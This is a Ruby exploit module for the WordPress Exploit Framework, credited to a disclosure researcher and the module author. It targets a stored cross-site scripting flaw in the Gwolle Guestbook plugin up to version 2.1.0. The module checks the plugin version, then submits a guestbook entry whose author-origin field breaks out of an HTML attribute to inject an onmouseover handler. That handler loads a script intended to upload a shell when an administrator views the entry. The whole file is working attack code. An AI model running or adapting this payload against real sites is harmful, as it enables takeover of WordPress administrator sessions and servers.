# frozen_string_literal: true

class Wpxf::Exploit::GwolleGuestbookStoredXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StoredXss

  def initialize
    super

    update_info(
      name: 'Gwolle Guestbook <= 2.1.0 Stored XSS Shell Upload',
      author: [
        'Radjnies Bhansingh', # Disclosure
        'rastating'           # WPXF module
      ],
      references: [
        ['WPVDB', '8785'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_gwolle_guestbook_wordpress_plugin.html']
      ],
      date: 'Mar 01 2017'
    )
  end

  def check
    check_plugin_version_from_readme('gwolle-gb', '2.1.1')
  end

  def vulnerable_page
    'the post review page'
  end

  def store_script
    execute_post_request(
      url: full_uri,
      body: {
        'gwolle_gb_function' => 'add_entry',
        'gwolle_gb_book_id' => '1',
        'gwolle_gb_author_name' => Utility::Text.rand_alpha(5),
        'gwolle_gb_author_origin' => "#{Utility::Text.rand_alpha(5)}\" onmouseover=#{xss_ascii_encoded_include_script} a=\"",
        'gwolle_gb_author_email' => Utility::Text.rand_email,
        'gwolle_gb_author_website' => '',
        'gwolle_gb_subject' => Utility::Text.rand_alpha(5),
        'gwolle_gb_content' => Utility::Text.rand_alpha(10),
        'gwolle_gb_submit' => 'Submit'
      }
    )
  end
end
